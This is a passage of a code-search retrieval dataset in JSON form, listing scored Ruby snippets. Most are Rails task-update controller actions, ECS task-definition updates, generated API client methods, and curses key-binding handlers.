"text": "def update_task(task_body)\n response = Connection.new.post(\n \"/api/tasks\",\n { body: task_body.to_json }\n )\n Tasks.build(response)\n end", "title": "" }, { "docid": "374d9f6d449636c82e41bb28b71fffa7", "score": "0.5764716", "text": "def update_task\n debug \"Creating a new task definition...\"\n new_task_def = create_new_task_revision\n\n container_def = new_task_def[:container_definitions].select { |c| c[:name] == family }.first\n container_def[:environment] = @deploy_config.env_vars\n container_def[:image] = image_tag\n container_def[:command] = @deploy_config.command\n\n new_task_def_id = ecs_client.register_task_definition(new_task_def).task_definition.task_definition_arn\n debug \"Successfully created #{new_task_def_id}\"\n end", "title": "" }, { "docid": "2a77f2f28a6c924f5b3dd47ca3bd436d", "score": "0.57581955", "text": "def update\n if @api_task.update(api_task_params)\n render :show, status: :ok\n else\n render json: @api_task.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "8e35d2886a2ca68a4d6da682f9536d38", "score": "0.5752814", "text": "def update\n respond_to do |format|\n if @task_prerequisite_field.update(task_prerequisite_field_params)\n format.html { redirect_to @task_prerequisite_field, notice: 'Task prerequisite field was successfully updated.' }\n format.json { render :show, status: :ok, location: @task_prerequisite_field }\n else\n format.html { render :edit }\n format.json { render json: @task_prerequisite_field.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "50ad2a17cbc0aae91fd0b881daea49aa", "score": "0.5744039", "text": "def update\n @task = @feature.tasks.find(params[:id])\n @task.last_updated_by = current_user.id\n \n respond_to do |format|\n if @task.update_attributes(params[:task])\n \n # If saved successfully, attempt to complete the task if it is possible.\n @task.complete! unless @task.completed?\n \n format.html { redirect_to(feature_tasks_path(@feature), :notice => 'Task was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "98fb58404c179cbbc73854c9f1fc49cb", "score": "0.57423204", "text": "def update\n @checklists_task = @checklist.tasks.find(params[:id])\n\n respond_to do |format|\n if @checklists_task.update_attributes(params[:checklists_task])\n format.html { redirect_to @checklists_task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @checklists_task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4f992fa6ba973a4453176c879b8affff", "score": "0.5732635", "text": "def update\n respond_to do |format|\n #new_name = { :name => params.require(:name) }\n # @task.update_attributes(task_params)\n @task_list = @task.task_list\n if @task.update(task_params)\n format.html { redirect_to @task_list, notice: \"Task was successfully updated.\" }\n format.json { render :show, status: :ok, location: @task_list }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f42f66524eb19041e733de3f9557d91", "score": "0.5731336", "text": "def update\n @task = Task.find(params[:id])\n params[:task][:completed].to_i == 1 ? completed = DateTime.now().to_s : completed = nil\n params[:task][:completed] = completed\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b1aa540fbf97b0103e49c3692f24af6", "score": "0.57252246", "text": "def update\n @task = Task.find(params[:id])\n @task.update_attributes(task_params)\n respond_with(@task)\n end", "title": "" }, { "docid": "cfc11cf26e7f37af83d57f4ab325b5fd", "score": "0.57196623", "text": "def update\n @task.update_attributes(task_params)\n end", "title": "" }, { "docid": "79a0ff2515164d6419e49c0f4de8f652", "score": "0.57126343", "text": "def update\n prm = task_request_params\n prm.extract!(:task_id)\n result = TaskRequests::Update.new(current_user, prm, @task_request).call\n render_response(result)\n end", "title": "" }, { "docid": "90103a6788d1615dd234fea471764f11", "score": "0.56947094", "text": "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { respond_with_bip(@task) }\n else\n format.html { render action: \"edit\", notice: 'Assigned task was not allowed to update, Please add comment.' }\n format.json { respond_with_bip(@task) }\n end\n end\n end", "title": "" }, { "docid": "2757b1c05a2de418ad3a41ce087e6349", "score": "0.56913054", "text": "def update\n @subtask = @task.subtasks.find(params[:id])\n respond_to do |format|\n if @subtask.update_attributes(params[:subtask])\n format.html { redirect_to [@subtask.task], notice: 'Subtask was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subtask.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cae72411e69c1005e3c40fccb9ae0532", "score": "0.5686203", "text": "def update\n @task = Task.find(params[:id])\n unless (params[:parent_id].blank?)\n @task.move_to_child_of(Task.find(params[:parent_id]))\n end\n\t @users = User.all\n\n\t\t@task.setup_the_version\n\n respond_to do |format|\n if @task.update_attributes(params[:task] || params[:project])\n\t\t\t\t@task.save_the_version\n\t\t\t\tTask.root.touch\t\n\t\t\t\t\t\n flash[:notice] = 'Task was successfully updated.'\n format.html { redirect_to current_user }\n format.xml { head :ok }\n\t\t\t\tformat.js { \n\t\t\t\t\trender :update do |page|\n\t\t\t\t\t\tpage.replace \"task_#{@task.id}\", :partial => @task\n\t\t\t\t\t\tpage.visual_effect :highlight, \"task_#{@task.id}\"\n\t\t\t\t\tend\n\t\t\t\t\t}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e8db4275af6b74c3b3f8eabff3ffe3e", "score": "0.5680848", "text": "def update\n @task = Task.find(params[:id])\n @task_inventories = TaskInventory.all\n @teams = current_user.teams_managed\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "faf8a747acab1d64c2be2f18dbc23685", "score": "0.5675151", "text": "def ecs_update_taskdef(id)\n taskdef = Aws::Ecs.task_definition(resource(id))\n debug(\"Registering new revision of #{taskdef.family}\")\n args = %i[family cpu memory requires_compatibilities task_role_arn execution_role_arn network_mode container_definitions volumes placement_constraints]\n Aws::Ecs.client.register_task_definition(taskdef.to_hash.slice(*args)).task_definition.tap do |t|\n puts t.task_definition_arn\n end\n end", "title": "" }, { "docid": "e8399bf806778b668d23275af8a0f5b4", "score": "0.56725794", "text": "def update\n# unless params[:task][:label_ids]\n# @task.label_on_tasks.delete_all\n# end\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e9bda4bcebc184e7b5881753e5f13e63", "score": "0.56710106", "text": "def update\n\t\t@task = Task.find(params[:id])\n\t\tmake_breadcrumbs\n\n\t\trespond_to do |format|\n\t\t\tif @task.update_attributes(params[:task])\n\t\t\t\tformat.html { redirect_to by_session_path, notice: t('app.projects.tasks.updated') }\n\t\t\t\tformat.json { head :ok }\n\t\t\telse\n\t\t\t\t#puts @task.errors.inspect\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @task.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "64ea0dfb8242c2b33382d43db463acbf", "score": "0.5668009", "text": "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to tasks_url, :notice => 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85c88172612524de77d1d7ba2736185b", "score": "0.5663846", "text": "def update\n @task1 = Task1.find(params[:id])\n\n respond_to do |format|\n if @task1.update_attributes(params[:task1])\n format.html { redirect_to @task1, notice: 'Task1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task1.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "494273aab4f4af29bd45c3f828131662", "score": "0.56577754", "text": "def update\n @project = Project.find(params[:project_id])\n @task = @project.tasks.find(params[:id])\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to project_tasks_path, notice: 'Task was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @task }\n else\n format.html { render action: 'edit' }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c47bef32bdbde64d26072a8bf0652b2a", "score": "0.5650662", "text": "def update\n @task = Task.find(params[:id])\n @project = Project.where(:id => @task.project_id).all\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @project, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dd259fe6d4d2f8362129e422e3c7745d", "score": "0.5649317", "text": "def touch_prereqs(task, env_string, dependencies=nil, already_touched=nil)\n task = task.to_s\n dependencies = list_dependencies(task, env_string) unless dependencies\n already_touched = {} unless already_touched\n \n dependencies[task].each do |subtask|\n if dependencies.has_key?(subtask)\n touch_prereqs(subtask, env_string, dependencies, already_touched)\n end\n full_path = File.expand_path(subtask, ENV['OUT'])\n # All file tasks must contain one of these characters.\n if subtask =~ /\\.|\\// and !already_touched[full_path]\n $stderr.puts \"DEBUG: touch #{subtask}\" if ENV['DEBUG']\n FileUtils.touch(full_path)\n already_touched[full_path] = true\n sleep 1\n end\n end\nend", "title": "" }, { "docid": "23b8fd20c4f863cc9fd1d0f2eeefb2e5", "score": "0.5644016", "text": "def update_task\n @user = User.find_by_username(session['user'])\n @access_token = OAuth::AccessToken.new(UsersController.consumer, @user.token, @user.secret)\n @response = UsersController.consumer.request(:put, \"/api/v1/tasks/#{params[:id]}.xml\", @access_token, {:scheme => :query_string},\n {'task[title]' => 'Updated Valid Task'})\n render :xml => @response.body\n end", "title": "" }, { "docid": "81c59e52ca1fd4c53c706d02e32915e8", "score": "0.56438833", "text": "def update\n respond_to do |format|\n puts task_params\n puts \"-----------------------------------\"\n if params[:add_dev]\n @task.developer_ids = @task.developer_ids << params[:developer_id]\n return\n end\n\n if @task.update(task_params)\n format.html { redirect_to @project, notice: \"Task was successfully updated.\" }\n format.json { render json: {msg: \"Task was successfully updated.\"}}\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: {msg: \"Error: bad parameters\"}, status: 400}\n end\n end\n end", "title": "" }, { "docid": "c04f7f56e60a32ae23507e898f259d2d", "score": "0.5642975", "text": "def update\n @task = Task.find_by(id: params[:id])\n \n if @task.nil?\n # head :not_found\n redirect_to tasks_path\n return\n end\n \n @task.name = params[:task][:name]\n @task.description = params[:task][:description]\n @task.completion_date = params[:task][:completion_date]\n \n if @task.save\n redirect_to task_path(@task.id)\n else\n render new_task_path\n end\n end", "title": "" }, { "docid": "92619c2febb8d54f94045dd17b9083c0", "score": "0.56411856", "text": "def updateDeps(rakeTask)\n\t\tparseIncludes()\n\tend", "title": "" }, { "docid": "f8822e65b47627824113be2dcd9cd6f1", "score": "0.56401974", "text": "def update\n @task = Task.find(params[:id])\n @task.update_attributes(params[:task])\n @checklist = Checklist.find(@task.checklist_id)\n @tasks = @checklist.tasks.order(\"created_at DESC\")\n @transaction = Transaction.find(params[:transaction_id])\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "f9515ebb93cce4802a17b708aadfcf86", "score": "0.56366664", "text": "def update\n # respond_to do |format|\n # if @task.update(task_params)\n # format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n # format.json { render :show, status: :ok, location: @task }\n # else\n # format.html { render :edit }\n # format.json { render json: @task.errors, status: :unprocessable_entity }\n # end\n # end\n\n #first you retrive the project from params[:project_id] \n @project = Project.find(params[:project_id])\n\n #you retrive the task from params[:id]\n @task = @project.tasks.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(task_params)\n #1st argument of redirect_to is an array, in order to build the correct route to the nested resource comment\n format.html{redirect_to([@task.project,@task], :notice=>'task was successfully updated.')}\n format.json{head :ok}\n else\n format.html{render :action => \"edit\"}\n format.json{render :json => @task.errors, :status => :unprocessable_entity} \n end\n end\n \n end", "title": "" }, { "docid": "c5b45e76cd34dbf2dd7e2546325f4dc7", "score": "0.5636578", "text": "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, :notice => 'Task was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "402450af3e487fa9c7d94a304fb5b6df", "score": "0.56253946", "text": "def patch_workflow_task_definition_with_http_info(moid, workflow_task_definition, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: WorkflowApi.patch_workflow_task_definition ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling WorkflowApi.patch_workflow_task_definition\"\n end\n # verify the required parameter 'workflow_task_definition' is set\n if @api_client.config.client_side_validation && workflow_task_definition.nil?\n fail ArgumentError, \"Missing the required parameter 'workflow_task_definition' when calling WorkflowApi.patch_workflow_task_definition\"\n end\n # resource path\n local_var_path = '/api/v1/workflow/TaskDefinitions/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(workflow_task_definition)\n\n # return_type\n return_type = opts[:debug_return_type] || 'WorkflowTaskDefinition'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"WorkflowApi.patch_workflow_task_definition\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WorkflowApi#patch_workflow_task_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "3690fbe28180eb96040e0585814f3639", "score": "0.56147015", "text": "def update\n @user=User.find_by_authentication_token(params[:auth_token])\n @task = @user.catalogs.find(params[:catalog_id]).tasks.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43919e7a3dbbd94cb2dd4f79b75b4514", "score": "0.5614065", "text": "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to tasks_path, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3633940db9fe7225beb432405e08783c", "score": "0.5605876", "text": "def update\n @task = Task.find(params[:task_id])\n @task_detail = @task.task_details.find(params[:id])\n\n respond_to do |format|\n if @task_detail.update_attributes(params[:task_detail])\n format.html { redirect_to @task, notice: 'Task detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render @task }\n format.json { render json: @task_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba1813aaf9cec49baa0c32a19397148f", "score": "0.56053185", "text": "def update\n\t\trespond_to do |format|\n\t\t\tif @task.update(task_params)\n\t\t\t\tformat.json { render :show, status: :ok }\n\t\t\telse\n\t\t\t\tformat.json { render json: @task.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "1209b47ecf7c3556a7b4db933247032c", "score": "0.560499", "text": "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to tasks_url, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59677a2d34f194ff305cb81af434720a", "score": "0.56047356", "text": "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, :notice => 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b8d8a034ba79a95c63d2e49250a37155", "score": "0.5595379", "text": "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Closing item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "014ee9cd60f0fb48713014f67fed05ce", "score": "0.5591905", "text": "def update\n @project = Project.find(params[:project_id])\n @task = @project.tasks.find(params[:id])\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to(@project, :notice => t('tasks.update_success')) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "title": "" }, { "docid": "d6255897a69e664022089dee93ea1871", "score": "0.5586757", "text": "def update\n @task = Task.find(params[:id])\n\n pm_candidates_list\n \n respond_to do |format|\n if @task.update_attributes(params[:task])\n flash[:notice] = 'You have successfully updated the task.'\n format.html { redirect_to project_task_path(@task.project,@task) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3fb1386f25da603df2339e478efa09de", "score": "0.5585068", "text": "def patch_workflow_task_info_with_http_info(moid, workflow_task_info, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: WorkflowApi.patch_workflow_task_info ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling WorkflowApi.patch_workflow_task_info\"\n end\n # verify the required parameter 'workflow_task_info' is set\n if @api_client.config.client_side_validation && workflow_task_info.nil?\n fail ArgumentError, \"Missing the required parameter 'workflow_task_info' when calling WorkflowApi.patch_workflow_task_info\"\n end\n # resource path\n local_var_path = '/api/v1/workflow/TaskInfos/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(workflow_task_info)\n\n # return_type\n return_type = opts[:debug_return_type] || 'WorkflowTaskInfo'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"WorkflowApi.patch_workflow_task_info\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WorkflowApi#patch_workflow_task_info\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a5e685ed82ec3484782dbdaad1d950d7", "score": "0.5583671", "text": "def update\n params_for_task = {\n name: task_params[:name],\n description: task_params[:description],\n duration: create_duration(task_params[:hh], task_params[:mm], task_params[:ss])\n }\n if(Task.find(params[:id]).update_attributes(params_for_task))\n # Task saved\n render json: {status: \"success\", task: @Task.find(params[:id])}.to_json # return the updated task\n else\n render json: {status: \"failed\", message: \"The task has failed to be updated\"}.to_json\n end\n end", "title": "" }, { "docid": "b4a0920034a2abcbb0d06517fdb468f2", "score": "0.5583445", "text": "def update\n #@task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to tasks_path(current_user), notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "015edc4e84896dc43a50f4e3970a11ec", "score": "0.5582789", "text": "def update\n if @pretask.update(pretask_params)\n render json: {status: :success, pretask: @pretask}\n else\n render json: {status: :failed, pretask: @pretasks}\n end \n end", "title": "" }, { "docid": "68e2b8e3ee24f46a2dd33bd064d2c1be", "score": "0.5582647", "text": "def update\n @task = Task.find_by_id(params[:task_id])\n\n\n respond_to do |format|\n if @sub_task.update(sub_task_params)\n format.html { redirect_to task_sub_task_url(:task_id => @task.id, :id => @sub_task.id), notice: 'Sub task was successfully updated.' }\n format.json { render :show, status: :ok, location: task_sub_task_url(:task_id => @task.id, :id => @sub_task.id) }\n else\n format.html { render :edit }\n format.json { render json: @sub_task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e2f880a601706194bc88fb36489b43ca", "score": "0.5579877", "text": "def update_depends\n\t\tunless File.exists? './depends.yaml' then\n\t\t\t$d = Depends.new\n\t\tend\n\t\t\n\t\tif $d.nil? then\n\t\t\tf = File.new('./depends.yaml','r')\n\t\t\t$d = YAML::load(f.read)\n\t\t\tf.close\n\t\telse\n\t\t\tf = File.new('./depends.yaml','w')\n\t\t\tf.write($d.to_yaml)\n\t\t\tf.close\n\t\tend\n\tend", "title": "" }, { "docid": "5c7698b24594b1f0da95fe16f189db7f", "score": "0.55768925", "text": "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to project_tasks_path(@task.project), notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
09713fd795ecaf44722521b0f6427faf
This the new one which does not use orderedhash, it uses an array for multiple assignments and falls back to a single assignment if multiple fails. e.g. process_key ch, self returns UNHANDLED if no block for it after form handles basic keys, it gives unhandled key to current field, if current field returns unhandled, then it checks this map. added 20090106 19:13 since widgets need to handle keys properly added 20090118 12:58 returns ret val of blk.call so that if block does not handle, the key can still be handled e.g. table last row, last col does not handle, so it will auto go to next field 20100224 13:45 handles 2 key combinations, copied from Form, must be identical in logic except maybe for window pointer.
[ { "docid": "32f25fa9e464fbd6c3ea854da04037f3", "score": "0.66330546", "text": "def _process_key keycode, object, window\n return :UNHANDLED if @_key_map.nil?\n chr = nil\n ch = keycode\n if ch > 0 and ch < 256\n chr = ch.chr\n end\n blk = @_key_map[keycode]\n # i am scrappaing this since i am once again complicating too much\n=begin\n # if blk then we found an exact match which supercedes any ranges, arrays and regexes\n unless blk\n @_key_map.each_pair do |k,p|\n $log.debug \"KKK: processing key #{ch} #{chr} \"\n if (k == ch || k == chr)\n $log.debug \"KKK: checking match == #{k}: #{ch} #{chr} \"\n # compare both int key and chr\n $log.debug \"KKK: found match 1 #{ch} #{chr} \"\n #p.call(self, ch)\n #return 0\n blk = p\n break\n elsif k.respond_to? :include?\n $log.debug \"KKK: checking match include #{k}: #{ch} #{chr} \"\n # this bombs if its a String and we check for include of a ch.\n if !k.is_a?( String ) && (k.include?( ch ) || k.include?(chr))\n $log.debug \"KKK: found match include #{ch} #{chr} \"\n #p.call(self, ch)\n #return 0\n blk = p\n break\n end\n elsif k.is_a? Regexp\n if k.match(chr)\n $log.debug \"KKK: found match regex #{ch} #{chr} \"\n #p.call(self, ch)\n #return 0\n blk = p\n break\n end\n end\n end\n end\n=end\n # blk either has a proc or is nil\n # we still need to check for a complex map. if none, then execute simple map.\n ret = check_composite_mapping(ch, window)\n $log.debug \" composite returned (#{ret}) for #{ch} \"\n if !ret\n return execute_mapping(blk, ch, object) if blk\n end\n return execute_mapping(ret, ch, object) if ret\n return :UNHANDLED\n end", "title": "" } ]
[ { "docid": "2b4a69804f47c76e9d58f3ccfdb7da34", "score": "0.6943385", "text": "def ORIGbind_key keycode, *args, &blk # -- {{{\n #$log.debug \" #{@name} bind_key received #{keycode} \"\n @_key_map ||= {}\n #\n # added on 2011-12-4 so we can pass a description for a key and print it\n # The first argument may be a string, it will not be removed\n # so existing programs will remain as is.\n @key_label ||= {}\n if args[0].is_a?(String) || args[0].is_a?(Symbol)\n @key_label[keycode] = args[0] \n else\n @key_label[keycode] = :unknown\n end\n\n if !block_given?\n blk = args.pop\n raise \"If block not passed, last arg should be a method symbol\" if !blk.is_a? Symbol\n #$log.debug \" #{@name} bind_key received a symbol #{blk} \"\n end\n case keycode\n when String\n # single assignment\n keycode = keycode.getbyte(0) #if keycode.class==String ## 1.9 2009-10-05 19:40 \n #$log.debug \" #{name} Widg String called bind_key BIND #{keycode}, #{keycode_tos(keycode)} \"\n #$log.debug \" assigning #{keycode} \" if $log.debug? \n @_key_map[keycode] = blk\n when Array\n # double assignment\n # for starters lets try with 2 keys only\n raise \"A one key array will not work. Pass without array\" if keycode.size == 1\n a0 = keycode[0]\n a0 = keycode[0].getbyte(0) if keycode[0].class == String\n a1 = keycode[1]\n a1 = keycode[1].getbyte(0) if keycode[1].class == String\n @_key_map[a0] ||= OrderedHash.new\n #$log.debug \" assigning #{keycode} , A0 #{a0} , A1 #{a1} \" if $log.debug? \n @_key_map[a0][a1] = blk\n #$log.debug \" XX assigning #{keycode} to _key_map \" if $log.debug? \n else\n #$log.debug \" assigning #{keycode} to _key_map \" if $log.debug? \n @_key_map[keycode] = blk\n end\n @_key_args ||= {}\n @_key_args[keycode] = args\n\n end", "title": "" }, { "docid": "1a1e53627b78eeb64b7b4acb652432c9", "score": "0.68135", "text": "def ORIG_process_key keycode, object, window\n return :UNHANDLED if @_key_map.nil?\n blk = @_key_map[keycode]\n $log.debug \"XXX: _process key keycode #{keycode} #{blk.class}, #{self.class} \"\n return :UNHANDLED if blk.nil?\n if blk.is_a? OrderedHash \n #Ncurses::nodelay(window.get_window, bf = false)\n # if you set nodelay in ncurses.rb then this will not\n # wait for second key press, so you then must either make it blocking\n # here, or set a wtimeout here.\n #\n # This is since i have removed timeout globally since resize was happeing\n # after a keypress. maybe we can revert to timeout and not worry about resize so much\n Ncurses::wtimeout(window.get_window, 500) # will wait a second on wgetch so we can get gg and qq\n ch = window.getch\n # we should not reset here, resetting should happen in getch itself so it is consistent\n #Ncurses::nowtimeout(window.get_window, true)\n\n $log.debug \" process_key: got #{keycode} , #{ch} \"\n # next line ignores function keys etc. C-x F1, thus commented 255 2012-01-11 \n if ch < 0 #|| ch > 255\n return nil\n end\n #yn = ch.chr\n blk1 = blk[ch]\n # FIXME we are only returning the second key, what if form\n # has mapped first and second combo. We should unget keycode and ch. 2011-12-23 \n # check this out first.\n window.ungetch(ch) if blk1.nil? # trying 2011-09-27 \n return :UNHANDLED if blk1.nil? # changed nil to unhandled 2011-09-27 \n $log.debug \" process_key: found block for #{keycode} , #{ch} \"\n blk = blk1\n end\n if blk.is_a? Symbol\n if respond_to? blk\n return send(blk, *@_key_args[keycode])\n else\n ## 2013-03-05 - 19:50 why the hell is there an alert here, nowhere else\n alert \"This ( #{self.class} ) does not respond to #{blk.to_s} [PROCESS-KEY]\"\n # added 2013-03-05 - 19:50 so called can know\n return :UNHANDLED \n end\n else\n $log.debug \"rwidget BLOCK called _process_key \" if $log.debug? \n return blk.call object, *@_key_args[keycode]\n end\n #0\n end", "title": "" }, { "docid": "337a169fe85e6cbd998cd8343986c39e", "score": "0.67965996", "text": "def bind_key keycode, *args, &blk\n #$log.debug \" #{@name} bind_key received #{keycode} \"\n @_key_map ||= {}\n #\n # added on 2011-12-4 so we can pass a description for a key and print it\n # The first argument may be a string, it will not be removed\n # so existing programs will remain as is.\n @key_label ||= {}\n if args[0].is_a?(String) || args[0].is_a?(Symbol)\n @key_label[keycode] = args[0] \n else\n @key_label[keycode] = :unknown\n end\n\n if !block_given?\n blk = args.pop\n raise \"If block not passed, last arg should be a method symbol\" if !blk.is_a? Symbol\n #$log.debug \" #{@name} bind_key received a symbol #{blk} \"\n end\n case keycode\n when String\n # single assignment\n keycode = keycode.getbyte(0) \n when Array\n # double assignment\n # this means that all these keys have to be pressed in succession for this block, like \"gg\" or \"C-x C-c\"\n raise \"A one key array will not work. Pass 